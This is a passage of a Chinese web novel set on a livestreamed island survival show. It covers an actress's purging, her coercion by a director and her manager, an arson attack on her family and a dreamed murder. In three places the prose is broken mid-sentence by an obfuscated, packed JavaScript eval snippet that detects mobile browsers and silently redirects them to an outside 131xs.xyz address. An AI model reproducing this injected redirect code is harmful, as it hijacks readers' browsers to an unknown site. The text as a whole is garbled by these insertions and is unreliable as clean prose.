[王良奥导演说,闫文清事发当晚,你是和他在树林里通话,因为不想公开恋爱关系才背上这个嫌疑罪名,为什么宁愿被认为杀人犯也不想公开呢?是觉得年龄相差太大很羞耻吗?] …… 杜小凡哆嗦着嘴唇,脸色苍白到快要晕厥,她的额头冒出细密的汗珠,湿漉漉的大眼睛含着耻辱的泪水,朝众人求助般看过去。 “不是这样的……”她说。 寂静,死一样的寂静。 李若水把音量点到最低,按开帝国网首页的头条新闻:【惊爆!王良奥承认与杜小凡正在恋爱中!树林甜蜜通话】,小眼睛图标后的数字显示,这条新闻的点击率已经过亿。 “是这样的啦,”数不清的话筒竖在王良奥面前,他笑的得意洋洋,“我们正在恋爱中,她当时是和我在树林里打那个视频通话,为了保护我们的名声不受伤害,所以才没有说出来的啊。” “但是我毕竟是个男人,男人就要敢于承担责任,她还是个小女孩,不能让她一直被泼脏水和受伤害。”王良奥说,“所以今天我必须勇敢地站在这里,承认我们之间的恋爱关系。年龄不是问题,相爱没有阻碍。” 视频进度条结束。 更多的粉丝闯入直播间,在弹幕上发出自己的震撼之情。 [震撼我全家,某人平时装什么纯情啊。] [杜小凡恶心死我了,什么小花旦啊,那么多电视剧都是靠张开腿睡出来的吧?] [十七岁就这么有心机,为了上位不择手段,跟老男人谈恋爱。] …… “不是这样的!”杜小凡捂着耳朵爆发出一声尖叫。 [吓死我了,叫什么啊。] [你说不是就不是啊?你经纪人都出来认领男朋友了。] “我经纪人……” 杜小凡嘴唇苍白,想要点开that,由于情绪过于激动,手指抖了好几下也没点开。李若水把手机上打开的that页面递到她面前。 that是全球下载量最大的冲浪APP,包括霍拉在内的二十三个国家网友都在使用,几乎全球的明星都会在上面发布动态和资讯。 眼前的主页名叫【芮蓉日进斗金】,头像上穿白西装的女强人露出胜券在握的微笑。 她转发了王良奥的采访,配文:我相信真爱可以打败一切阻碍,未来的路一起携手走~[爱心][爱心] 杜小凡看着那条转发动态,不发一言,忽然站起身,掀开帐篷,冲向瓢泼大雨,跑向树林。 “杜小凡!” 李若水喊了一声。见女孩的身影已经消失在树林间,咬咬牙,也跟着冲了出去。 阚炆也想跟着冲,被卜思雨拉住,她面露犹疑:“你一个男人,跟着干什么?还是我去吧。” 她套上雨衣便钻出帐篷。 剩下的人面面相觑,久久无言。 …… “呕——” 雨水兜头浇下来,杜小凡两只手撑着地,上半身几乎是埋在脏湿的泥土里,她不在乎别人会不会看见她这副狼狈的样子,反正摄像头已经坏了不是吗? “杜小凡。”身后响起一个声音,李若水在她身后,声音在雨水的浇淋中像是有力的鞭笞,“你又开始吐了。” 她的眼神带着些许哀伤,穿透眼前水蓝色的弹幕,看向跪伏在地上的女孩。 【这个女生自己都没有意识到,催吐已经成了她缓解情绪的发泄方式。再这样下去,总有一天她会发现吐无可吐,那个时候就危险了。】 水蓝色弹幕说。 【我同意。】 墨绿色弹幕也出来说话了。 【她现在的体重已经脱离了健康范畴,即使她现在活下去,这个台风天也很难熬过去,你们看她手抖的程度,应该是浑身发冷,这样下去她会失温而死。】 【我何德何能能见到两位特殊色的大佬同屏……】 【第一次玩SVNT,谁能给我科普一下SVNT的弹幕色区别?】 【特殊色代表特权阶级,不是专家就是富豪,这个小直播间真是出息了。】 【突然想到之前金色大佬说有两个人是失温而死的,细思极恐啊。】 【不对不对,我记得葱绿大佬不是说杜小凡是被毒蛇咬死的吗?】 【啊,这个,那我搞错了,再看看。】 紧接着,葱绿色弹幕也飘了出来。 【李若水,不要再管她了。】 虽然并不知道李若水能看见弹幕,他依然执着地喊着话。 【你和剩下这些人无冤无仇,又有阚炆护着你,只要你顺利走出荒岛,你会复红,能继续赚钱生活,其他人是死是活,又关你什么事呢?】 【是啊,主播,不要再管杜小凡了,她确实很可怜,但是走到今天,和她自己错误的决定有关系。】 【人要为自己的错误买单。】 李若水大步走过去,沾了潮气又开始卷曲的头发,将那些五颜六色的透明弹幕甩在身后,像一串串无效代码,从她胸膛穿透而过。 “杜小凡,再这么吐下去,你会死在这个岛上。” 杜小凡手撑着地,头扭过去:“……你一直都知道我在催吐?” 李若水点了点头。 杜小凡手一松,整个人贴在泥泞地面上,却止不住地笑出声:“我还以为我藏得很好,原来大家都知道。” 泥土被雨水泡得松软黏湿,像沼泽一样要把呼吸吞没。她把脸埋在泥里,雨水像什么天罚一样抽打着后背,整个身体的温度逐渐丧失。 “死就死吧。”杜小凡的声音从土地里发出,“死在没有被完全毁掉的时候,也是一种幸福。” 湿软的泥土带着青草的气息,就像幼时妈妈的怀抱。 ……如果,当时没有去买棉花糖就好了。 父母带她第一区找亲戚,希望能交择校费,把她的户口转到第一区来上学。他们一起去看周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515820|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的幼儿园。 幼儿园旁边是广播电视大楼,这阵子因为童星选秀节目的盛行,带火了周边的生意,很多小摊小贩也来这条街摆摊。 她从小就嘴馋,看见棉花糖的摊子前聚集了很多小孩,顿时馋从心起,哭闹着要买一个吃。 父母很为难,家里为了存择校费和学费、路费,已经花了不少钱了。杜小凡馋得走不动路,就在摊子前坐下来,边揉眼睛边哭。 身前投下一片阴影。 她愣愣抬头。 “宝贝,我给你买棉花糖,”白西装的女人俯下身温柔地看着她,“你把你自己卖给我,怎么样?” 杜小凡看着她手里两团淡黄色和粉紫色交叠的柔软糖果,眼泪不知不觉停下来,点了点头。 那棉花糖,好甜。 可是如果当时知道需要用尊严和生命来换取,她一定不会答应。 “我从小就胆子小,进了娱乐圈,觉得自己哪里都不好,觉得自己愿意改、愿意听话,就能让别人多可怜我一点。现在想想,恰恰是这样的姿态,让王良奥和芮蓉发现,我的底线是可以被打破的。” “我和王良奥,不是自由恋爱,你信吗?”杜小凡的长睫毛滚动一下,水珠滑入脸庞,“是我经纪人作局,王良奥要挟我,潜规则我。” “之后我经纪人劝我说,反正事情已经这样了,这个圈子都这样,这很正常。我信了。于是我接受了这样的关系,从被害者成为了共犯。” “拿到很多资源和好处的时候,我确实很高兴,我以为这样就能说服我自己,我不是傻子、不是被害、被占便宜,我是个聪明人,我是在以一换一走捷径,这样会让我好受点。” “结果……” 杜小凡一声叹息。 “他们不会放过我的。”杜小凡说,“王良奥现在的目的,就是想逼我死,只要我死了,一切事情就会被掩埋,或者我回去,继续受他控制。” “是我的错,”杜小凡说,“全是我自己的错。是我对欲望太渴求,太想往上爬,用了错误的方式。我以为这是条闪闪发光的路,没想到这是条黄泉路。” “你别管我了,我身体机能已经差到极致了,我自己知道,早晚也是个要死的命。你就当我失踪了,找不到我,让我死在这片树林里。” “这样,我也算是为我的错误赎罪了。” 李若水蹲下身,手指紧紧地按住她手腕上搏动的心跳。 “你的心脏还在跳动,你却放弃了。” “人难道自认为犯了错,就要对别人的错误视而不见吗?如果你有错,王良奥和芮蓉的错误不是更大?”李若水感受着指腹下有力的搏动,“为什么他们不用赎罪,不用买单,不用死?” “为什么……”杜小凡喃喃地问。 “因为怯懦者全盘买单,有罪者无债通行。”李若水铿锵有力地说,她那双光彩照人的眼睛里燃烧着一团火焰,“我不愿意,我不愿意看到那些人大摇大摆上天堂。” “即使我有罪,我也要苟活于世,直到那些人和我一起下地狱!” 杜小凡怔怔地看着她,蠕动着嘴唇,想说却又不知道说什么好。 身后,忽地传来一声异响,像是树枝被踩断的声音。 33. 再次入梦 两人转头,只见卜思雨披着雨衣,脸色煞白,震惊地看着面前的一切。 身后,摄像头黑漆漆的镜头像红外枪的枪口。 对准了她们。 “我……我不是故意的。”卜思雨举起双手,一脸快要哭出来的表情,“我只是想过来看看你们。” 苍天可鉴!她真的只是想过来帮忙! 看着眼前两人冷漠的眼神,她恨不得钻进地里。 她卜思雨虽然做过不少烂事,也没贱到这种程度吧? 谁能理解她? 谁来为她发声啊!!! …… 实时网友被树林里这一幕震惊得快炸了。 [催吐,催吐,催吐。真是被你骗得好惨。] [笑死我了,既然是通过催吐瘦下来的,立什么小鸟胃低食欲人设啊,这样能显得你高贵一点是吗。] [不是,李若水和杜小凡说的那什么意思,说的那是达摩诀导演吧?达摩诀导演潜规则杜小凡?] [听她胡说八道,一个愿打一个愿挨,怎么能算潜规则。] [不是我就奇了怪了,你们天天说杜小凡是八区白富美,她父母都是大科学家,咋的白富美不是自甘堕落还能被人胁迫?] …… 即使是深夜,thatAPP依旧如此热闹。 “催吐杜小凡” “王良奥杜小凡” “王良奥潜规则” 关键词稳稳地占据着热搜榜的前三位,而且数据持续在走高。 帐篷的光已经熄灭。 杜小凡捂住耳朵,紧闭双眼,忽略手机嗡嗡的振动声,在睡袋里翻了个身。 李若水睁大双眼看着天花板。 手机嘀一声响。 【来信人:阚炆】 -倪夏给我来信了。 李若水在黑暗中噌一下睁开双眼,赶紧点开下一条信息。 -查到了芮蓉偷税漏税的证据,芮蓉的儿子在达加奥交上去的作品集也是找枪手代画的,挤掉了正规投考的考生名额。 李若水双眼发亮。 拿到芮蓉的把柄,只要能撬开芮蓉的嘴,杜小凡就有救了。 她心神一松,终于闭上眼睛,慢慢地沉入睡意。 身旁,手机嗡嗡的振动终于停了,响起了短信的来信提示音。杜小凡慢慢地睁开眼,点开了手机短信。 【来信人:王导】 -拿了这么多资源和好处,现在反过来玩仙人跳整我? -既然如此,我们就等着瞧。 杜小凡把头埋进睡袋,瑟瑟发抖。 …… 雨声,如鼓点般的雨声。 我,我这是在树林里? 这雨好大,李若水的意识被困在这具身体里动弹不得,视线只聚集于面前的双眼。面前的视野也被雨点淋得模糊不已,透过双眼,她看见一个身穿蓝色工装的身影摇摇晃晃地朝她走来。 那人走到近前,熟悉的一张窄长脸,眼神黑亮,沉默而谨慎的神色,嘴唇留了一圈青色的胡茬。 闫文清!李若水一眼就辨认出来,是死去的闫文清! 闫文清慢腾腾地朝她走来,挥了挥手算是打招呼,朝她伸出手。 朝我伸手?这是要什么? 她指了指闫文清身后右侧的土地,闫文清点了点头,转过身,蹲在地上,开始挖地。 她的手指捏紧了口袋里的金属物体,慢慢地上前两步,抄起那物体就朝闫文清的后脑勺砸去! 这一下下手极重,闫文清一声闷哼,动也不动,直接栽倒在地上。 但是不行,她还不能走。她是一个有经验的杀人者,所以她不能走,她要确认对方已经完全失去心跳和呼吸。 于是她将手里的金属环状物再次狠狠地朝闫文清的后脑勺砸去。一下、两下、三下……银色的金属环状物在漆黑夜色里闪动着冰冷的光泽。 直到,闫文清面朝下,雨水像一瓢烧开的水,冲刷开脑袋上的血沫,她才停下手。 她蹲下身,蹲在死去的闫文清身旁,呼吸平稳,脉搏如常。 …… “啊!!!!” 李若水惊叫着坐起身。 手电筒的开关啪一下被打开了,并列的两座帐篷里,靠左的一座亮起了温馨的暖黄色灯光。 “怎么了,若水?”裴婉命坐起身,打了个哈欠,关切地问,“做噩梦了?” 那温婉美丽的面孔,此时在李若水看来却如恶魔索命般恐怖。是她吗?李若水双眼凝视着她,梭巡着每一寸角落,不愿放过任何一丝可疑的神情。 “我梦到了……”她低声说,“我梦到了杀害闫文清的凶手。” 裴婉命裹着披肩起身,倒了杯水给她:“慢慢说,怎么回事?” 李若水一口口地喝着冰冷的矿泉水,感觉身体抖得更厉害。 面前的弹幕也吓惨了。 【草,吓死我了,我就说闫文清是那个锤子杀人狂杀的吧!SVNT我跟你没完,今晚我是睡不着了!】 【但是那个人为什么这次换凶器了?上次是锤子,这次是什么玩意儿,那玩意儿我根本没见过。】 【我吓得捂住眼睛了,根本就没看见,就看见银色反光了,不是刀吗?】 【回楼上,不是,是一个圈圈一样的东西,倒是有点像我家狗的狗链。该不会是闫文清和凶手在玩那什么吧?】 【楼上,答案可以离谱,但不可以这么离谱。】 “怎么回事?”门口传来了萧铭的声音,“我们听到这边有人在叫,可以进来吗?” “可以。”燕南菲回答道。 帐篷一掀,男人们陆续钻了进来。他们被这边的动静惊醒了,过来看看是怎么一回事。 “若水做了噩梦,说是看见了杀害闫博士的凶手。”卜思雨睡意恍惚地说。 李若水喝完半杯水,终于感到自己的神经慢慢镇静。 “大概是闫文清给我托梦了,”她面不改色地胡说八道,“我梦见了他被杀时的情景,杀人的凶器,我看见了。” “真的?!” 众人齐齐惊道。 李若水点头,视线挨个扫过每个人的神情,除了惊讶就是困惑,每个人都神色如常。……真是个狡猾的凶手,这个人太可怕了,怎么能做到如此冷静呢? “凶器是什么?”阚炆问道。 李若水垂眸道:“是锤子。” “一把,很普通的锤子。”她说。 “我有个想法,大家都把行李打开,互相检查一下,”李若水攥紧掌心,“谁带了锤子,就能一目了然。” 她不能说出真正的凶器,否则只会打草惊蛇,现在摄像头坏了,万一把这个人逼急了,对所有人痛下杀手怎么办?到时候情势只会更糟糕。 实时弹幕对李若水深恶痛绝。 [李若水简直有病。] [我忍她很久了,一开始还行,自从和杜小凡厮混在一起,整个人都神经兮兮,两个被害妄想症的疯批。] [就为了一个梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518627|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她说搜查就搜查?侵犯别人的隐私,有病!要是查不出来东西,我骂死她。] 沉默了几分钟。 “我同意。”狄马最先说,“这几天各种事,已经闹得人心不稳了,若水既然提出新的线索,不管什么有神论无神论,我们必须让事情有进展。” [狄导大义啊!] [不愧是狄导!我欠您一张电影票!] 他从角落里搬来自己的行李袋,往地上重重一放,蹲下身,拉开拉链,袋子里的所有物品都呈现在众人眼前。 李若水一样样地翻找着,剃须刀、打火机、求生哨……没有那个金属圆环的未知物。翻到最后,她失望地垂下手。 接着是裴婉命的行李袋,依旧是一无所获。 燕南菲、杜小凡、双星晖……都没找出疑似凶器的可疑物品。 现在,只剩最后一个人了。 李若水背后布满了冷汗,缓缓地拉开陈英喆行李袋的拉链。 CD机、卡式炉、野餐布、调料……她翻遍了行李袋的夹层,没有,还是没有。 那到底是什么! 李若水脑袋里嗡嗡作响。为什么,为什么,她总觉得那个东西好像在哪里见过……到底是什么呢? “若水姐,查完了吧?”陈英喆伸出手拎起行李袋,“查完了,我就把行李送回去了。” “嗯……”李若水抓着额前的头发,有气无力地说,“你送回去吧。” 陈英喆叹息一声,安慰似地拍拍她的肩膀。 “等等!” 李若水忽然一把抓住他的小臂:“你手腕上戴的是什么?!” 陈英喆很惊讶:“这个吗?” 他望了望自己手腕上刻着英文图样的银色手环:“这是我当练习生时候定制的手环,因为挺喜欢的,我就一直带着了。” 凶手……是他? 李若水颤抖着放开陈英喆的小臂,卡牌游戏时头顶的红灯、他说“这些人都该死”时的神情……统统都在她脑海里闪回出现。 “你……”李若水的话语卡在喉咙口,仿佛失去了说话的力气。 闫文清只是一个素人,究竟有什么深仇大恨,要杀掉闫文清?他在那个小区里用锤子杀掉的人,又是谁? 脑袋快要爆炸了。 “若水姐,若水姐?”陈英喆看她神色不对,问道,“你没事吧?” 他那双澄澈的下垂眼在暖黄色灯光中浮现着真挚和关怀,让李若水的手瞬间失去所有力气,颓唐地垂落下去。 …… [李若水神金啊!有事没事?扯我家崽干什么啊!赶快放开他!] [查也查完了,啥也没查到,可以结束了吧?今晚这荒唐的一切。] [哗众取宠的小丑。] 李若水没心情去看弹幕,所以她看不见头顶上方,和她一起见证了杀人现场的网友们正在激烈地争论着。 【不对啊,我感觉不对,陈英喆手上那个手环比较小,杀人的那个手环要大一点。】 【没错。】 葱绿色弹幕再次出现。 【以我这么多年的经验来看,这两个手环虽然材质很像,但不是一个东西。李若水是被既定印象给误导了,看到相似的物品,下意识认为陈英喆就是凶手。】 【大佬,什么多年经验?你到底是干什么工作的?哪个领域的专家啊?】 【大佬对凶手怎么看?】 过了好久,葱绿色弹幕才打出一行字。 【凶手,另有其人。】 34. 崩溃之际 李若水并没有看见这些。 她只知道,她破解了谜底!她抓到了杀害闫文清的凶手! 虽然不知道陈英喆具体是因为什么原因要杀害闫文清,但是此刻位置变换,他在明,自己在暗,只要持续地盯住陈英喆,不让他再作恶杀人,危机就可以解除了! 这样,他们剩下的十四人,就能生存下来…… 李若水长吁一口气,翻了个身,闭上眼睛。 这次,一夜无梦。 - 一觉醒来,暴烈的雨势居然渐渐小了,似乎有雨过休止的趋势。气温回暖了一些,这让大伙也来了干劲,准备趁着良好的天气,卸掉帐篷,直接一鼓作气穿过这座岛,不再回头。 “老贾,”狄马撸着袖子,想要把支杆拆开,却怎么也拔不下来,急得满头大汗,“你帮帮我。” “来了来了。”贾高逸迈着小碎步跑了过来,“你怎么和大学时一样,笨蛋一个,拆个帐篷都拆不明白。” “行了,就你聪明。”狄马啐道,“你还不是因为经常滑雪搭帐篷,熟能生巧。我没事就呆在家里拉片子,哪会这些。” 贾高逸嘿嘿笑着,笑着笑着,莫名有些感伤:“是啊,以前每逢节日,都是小兵陪我去滑雪,山上的雪,积得有好几厘米深,我们就在山地里露营,到处都亮着灯泡,放着音乐……” 他擦了擦眼角,手上动作不停,熟练地拆开几根支杆。 裴婉命担忧地朝陈英喆使了个眼色,扬起声音道:“英喆,你不是有CD机吗?放点歌给大家听听啊,干活也得有点动力是不是。” “那就恭敬不如从命了,裴姐。” 陈英喆朗声一笑,拔掉耳机线,音乐如夕阳般从CD机的播放孔中播撒而出。提琴、鼓点和钢琴的三重奏混合在一起,奏响如痴如醉的乐曲。 “在新生中徘徊,在心跳中等待,如果只剩下一个谜题,我希望在海上日出来临时告诉你……” “这歌真好听!”燕南菲摇头晃脑地跟着唱起来,“我好像经常在大街小巷听过,这是谁的歌?” [笑死了南菲姐姐,谢谢你的盛赞。] [谢谢南菲姐喜欢我们崽崽的歌。] [这是陈英喆首张原创专辑《我们在海上等待日出》,销量曾经破千万,里面的每首歌都好听!喜欢的宝子可以去买一张哦,谢谢大家喜欢我们崽的歌,多看看陈英喆吧,有天赋的歌手兼演员多栖艺人……] 陈英喆咧嘴一笑:“这是我的歌,南菲姐,谢谢你喜欢。” “哇!你真厉害!”燕南菲很是惊讶,对他比出一个赞,“游艇上你也唱歌了,那首也很好听,词曲都是你自己写的吗?” 陈英喆摸着后脑勺,露出几分被夸赞的羞涩:“是的,都是我在练习生期间写的,当时我是立志要当歌手的,后来当了爱豆也是阴差阳错……不过也因为这个,让我出专辑的愿望可以实现,我很感激。” [宝宝,期待你的下一张专辑。] [陈英喆真是太棒啦!妈妈爱你。] 李若水紧紧盯着陈英喆,她不明白,陈英喆究竟是怎么走上犯罪歧途的?明明是个怎么看都是个阳光正直、大有可为的正能量青年啊! 他是对杀人上瘾吗?反社会性格? 帐篷的零件被整齐拆下,众人把篷布卷好,收进包里,互相搀扶着朝树林走去,这一去,就是真正再也不回头的路了。 幽暗的树林里,杜小凡搀扶着李若水,深一脚浅一脚地走着,脚步稳稳地踩在地上,心脏却如擂鼓般失常跳动。 自昨晚的威胁短信过后,王良奥到现在还没有动静。 这不是他的作风,王良奥此人阴险狡诈又强势自大,容不得别人忤逆他,如果有不顺心的事,向来是立刻就要砍断别人的生路,让别人陷入恐惧。 她很害怕……她不知道王良奥现在在干什么,准备怎么对付她…… 前方的裴婉命忽然一声惊呼。 “我的天!” 燕南菲问道:“裴姐,怎么了?” 裴婉命皱眉翻着手机:“你们看帝国网刚发的新闻快讯,第十一区钢铁厂不知道惹上什么社会团体,纠集了一群刑满释放人员来报复,在厂区宿舍泼汽油点火,三四个厂区都被烧光了,死伤几十个人。” 李若水只觉得搀扶自己的手一软,杜小凡已经瘫软在地上。 “小凡,你怎么啦?”裴婉命被身后的动静吸引了注意力,转身一看,吓了一跳,赶忙问道,“是不是饿了?” “给我看看,”杜小凡朝裴婉命爬了两步,“给我看看那条新闻。” 裴婉命吓得倒退一步,不知所措,李若水伸手将手机拿过来,给杜小凡看那条新闻的界面。 近些年帝国治安发展不错,已经很少出恶性案件了,如此大的恶性案件,恐怕是五年来最大集体案件。记者们火速赶往第一线,采访受伤者家属,拍高清现场照片。 李若水一页页翻动着照片,照片上那冒着黑烟的熊熊火焰,以及被烧得伤势惨重的伤者,让她不忍目睹,别过一侧脸庞,只用余光斜视。 杜小凡凑近了仔细地一张张看着那些照片,翻到担架上的伤者时,她甚至还细心地将图片放大查看。 “小凡,你到底在看什么?”李若水问,“这里有你认识的人吗?” 杜小凡没有回答,只是一张张翻动着高清实时现场照片,照片还在不断增加,杜小凡翻着翻着,脸色逐渐好转。 实时照片数由49增加到50,杜小凡顿了顿,等待照片加载完毕,翻到最新一张。 躺在担架上的男人戴着红色护袖,垂落的被烧焦的手腕上露出一只黑色运动手表。 杜小凡的瞳孔扩大了。 下一张,担架旁头发凌乱,脸上都是黑烟的女人跪在地上,两只手拉扯着担架,撕心裂肺地喊叫着什么。 摄像师很会抓拍,抓拍到这生离死别动人一刻,观者就如同亲临现场感受着十万分痛楚。 “啊啊啊啊啊啊!!” 杜小凡失声痛哭,她抓挠着两侧鬓角的头发,鼻涕和眼泪一齐流下来,整个身子蜷缩成虾状,额头深深地贴上土地,一下、一下又一下重重地磕着头,仿佛这样就能缓解胸膛的锥心之痛。 大家都被吓呆了。 “小凡、小凡?”狄马率先冲过来阻止她磕伤自己的头,“孩子,你怎么了?冷静一点!” 实时弹幕也惊呆了。 [不是,她哭啥,她哭啥啊!我咋没懂?] [我也没懂,咋回事啊,里面是有她的亲戚吗?还是她的朋友?] [给爷看无语了都,这是眼看路人缘不行了,在这立悲天悯人人设?] [不像,我看不像,她哭得不像假的。] 杜小凡倒伏在地上,抓着胸膛处的衣服,佝偻在地上,一声声地嚎叫,惨烈的哭叫声如同幼兽般响彻整个树林。 听得人心酸不已。 “怎么了啊?”卜思雨吓呆了,凑过来问李若水,“她这是怎么了?” 李若水神色凝重地摇摇头。 杜小凡抽动了一阵,眼泪逐渐止住,虽然嗓子仍收不住地呜咽着,但眼神已化作一片漠然恨意。 她抓起手机就开始打电话。 “嘟、嘟、嘟……” 响铃五秒,电话接通。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525750|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “喂?”那头传来漫不经心的声音,“小凡吗?在岛上过得怎么样?还开心吗?” “是你干的。” 杜小凡沙哑着声音说。 那头很惊讶:“什么是我干的?” “芮蓉,是你干的,一定是你干的。”杜小凡嘶哑着嗓子,字字有力地说,“只有你知道我父母住在哪里,只有你知道…只有你知道我真正的父母是谁!” …… [我靠,什么意思,杜小凡现在的父母不是她真正的父母?] [不是说她父母都是大科学家,常年在达加奥雨林里做研究吗?是我记忆出错了吗?] [楼上,你记忆没错,我也有印象,她之前还跟芮蓉去过达加奥。] …… 那头沉默一瞬,竟然笑出了声:“你在说什么胡话啊,打电话来就为了说这个吗?” “你太过分了,芮蓉。” 杜小凡直视着树杈上方,那里栖息着一群黑鸟,此刻拍打着翅膀飞入雨幕。 “你把我当赚钱工具、贿赂工具,怎么使用我、欺骗我,我都忍了。” “你骗我当王良奥的情人,是我自己贪心,我认了。你给我搞什么身材路线,即使我不情愿,我也认了。” “你出来反咬我一口,承认我和王良奥在恋爱,把我推入深渊,回不了头,我也认了。” “是我自己识人不清,错把交易当亲情。”杜小凡的声音颤抖、微弱却坚定,“一人做事一人当,这些我都认了。可是你不该,你不该把我父母的信息出卖给王良奥,不该毁掉钢铁厂几十户人家的生路,他们何错之有,何其无辜?” 蒙蒙细雨浇不灭杜小凡心头的火焰。 “你太卑劣了。你们太卑劣了。” “我不会自杀,也不会死,因为在此之前,我必须要看着你们这些卑劣的人下地狱!” 杜小凡斩钉截铁地说。 任谁也能听得出,她话语里所包含的决心不容置疑。 “你太不听话了。”电话那头,芮蓉沉默半晌,平和说道,“对如同生母般的恩人和经纪人,打电话来做无妄的指责,你就是这样报答我的吗?” “我会对你提起指控,控告你在全球观众面前对我造谣、毁谤。”芮蓉悠悠然地说,“你曾是我最骄傲的艺人,但你太不听话了,所以即使我再珍惜,我们的路也只能走到这里了。” [不是,我怎么越来越看不清事情的发展了?到底怎么回事啊谁能告诉我?急死我了。] [芮蓉说杜小凡不听话,是指她跟王良奥谈恋爱吗?] [不是啊楼上傻子,杜小凡控告芮蓉协助王良奥潜规则她,并且疑似买凶报复杜小凡亲生父母,也就是今晚特大新闻钢铁厂纵火案受害者之一。] [我倾向于杜小凡在说谎,王导又不是脑子瓦特了,敢制造这么大案件,那他背后背景得多牛啊。] [杜小凡的表情和语气,我有种不好的预感,她恐怕说得全是真的。] [别被艺人骗了,她们最会演戏了。] …… 李若水看不下去了,走过去一把拿起手机。 “芮女士,你好,我是李若水。” “哦,是李若水啊,你好。”芮蓉随意道,“我看了你在直播里的表现,很不错嘛,很有复红的潜力。” “是吗?”李若水微笑道,“我不怎么相信你的眼光。” “连杜小凡这样有天赋、有外貌、有想法,犹如珍珠般宝贵的艺人,居然能被你像鱼眼珠子一样拿来当X贿赂工具使用,可见你是一个多么鼠目寸光的贱人。” 卜思雨倒抽一口凉气。 35. 孩子无罪 全体弹幕倒吸一口凉气。 芮蓉愣住了:“你说什么?” “我说,你是个贱人。”李若水口齿清晰地说,“贱人不分男女,我以为你已经够贱了,没想到你属于贱上加贱,没有最贱只有更贱。” 电话那头,芮蓉一只手抓紧桌沿,面容扭曲:“你……” “芮女士,做人不能太贱,当贱人也行,不能把人逼到穷途末路,那叫既贱又蠢。” 李若水举起手机屏幕,对着全球直播摄像头一张张翻动着集齐的证据。 “芮女士,你说你把杜小凡当亲女儿,那不如让我们看看你的亲儿子享受什么待遇吧?” 纤细的手指滑动着屏幕上一份份的合同,以及绿色草坪上的红顶白墙别墅,“小学时就送去达加奥留学,学天价学费的油画鉴赏艺术,作品集花钱找枪手给他买,挤掉正常考生的名额。入学后,你在达加奥的上流区买大别墅,雇保镖和保姆照顾他的衣食住行。” “这些钱,都是从哪里来的呢?”李若水想了想,恍然大悟,“啊,我想,应该是在每一份合同中都偷税漏税,像吸血虫一样趴在全体国民的身上吸血。” 摄像头像苍蝇嗅到了血腥的气息,兴奋地嗡嗡飞近了。 [1,2,3,4,5……天老爷,这是几个0啊,我家一辈子也挣不到这么多钱!] [太过分了,第一区的富豪赚这么多钱,还要偷税漏税,辛辛苦苦劳作的后三区贫民,每年的年薪抵不过他们一天赚的钱,还要按时交税,这算什么?这就是帝国的公平吗?] [富人避税很常见啊,你们别这么激动好不好……] [楼上,常见不代表正常,如果大家都这么做,帝国迟早会被蛀空。] “又或者是,你起早贪黑,去各地的学校门口盯梢,专挑那些看起来文静怯懦,又乖巧听话的贫困学生,哄骗她们签下根本不符合法律权益的违规合同,一步步诱骗她们去陪酒、贿赂,成为你赚钱和结交的工具。” 李若水逼近手机镜头,“如果她们不愿意,你就起诉她们,要求赔偿巨额违约金,感情绑架、诱哄、起诉、恐吓…都是你们这帮人常用的手段吧?” 手机上,展示着连续排列的白底红字的帝国皇家法院受理案件书。 “我查了一下,光是法院受理你的起诉案件,就多达十几起。这么多年,你亲自带了一个又一个亲儿子亲女儿,不愿意受你控制的,最后统统得抑郁症、赔得底裤都不剩,净身退出娱乐圈。” 芮蓉争辩道:“一派胡言!你简直胡说八道!” “是我在胡说八道吗?”李若水眼神凛冽,一个个细数着那些人的名字,“为什么这些小艺人都退出了娱乐圈,社交软件也统统注销,粉丝探望也避而不见?” “正是这些善良、懦弱、不敢反抗的孩子们,助长了你的野心,让你的胃口一步步越来越大,大到连成名的艺人也敢送出去。” “我听过一个理论,芮女士你这种人就像蟑螂一样,如果你都可以在明处出现,说明这个房间里已经密密麻麻爬满了蟑螂。”李若水眯起眼,“像你这样的人,这个圈子里还有多少个呢?” [天啊,李若水说得都是真的吗?] [如果她说的都是真的,杜小凡这些年来过得都是什么样的日子?] [到底怎么回事啊!杜小凡你说句话啊,我要发疯了!] 这个ID全帝国网都很熟悉,这是杜小凡最大个人站的站姐,从她十四岁时就开始粉她。 [杜小凡,你出来,今天我们粉丝就站在这里,今天你说任何话,只要你说出来,我们就相信你。] [小凡,事实真相到底是什么?真的是我们错付了吗?你到底是自甘堕落,还是遭人胁迫?我们喜欢的都是假象吗?] [杜小凡你说话啊杜小凡,如果你是真的受人欺负了,我们即使把侦察局炸了也会替你讨个公道!] [杜小凡你就这么不相信粉丝的爱是吗?从你十几岁开始粉到现在,我们到底是有多不值得信任,才让你隐忍这么多年也不愿意伸手寻求我们的帮助?] …… 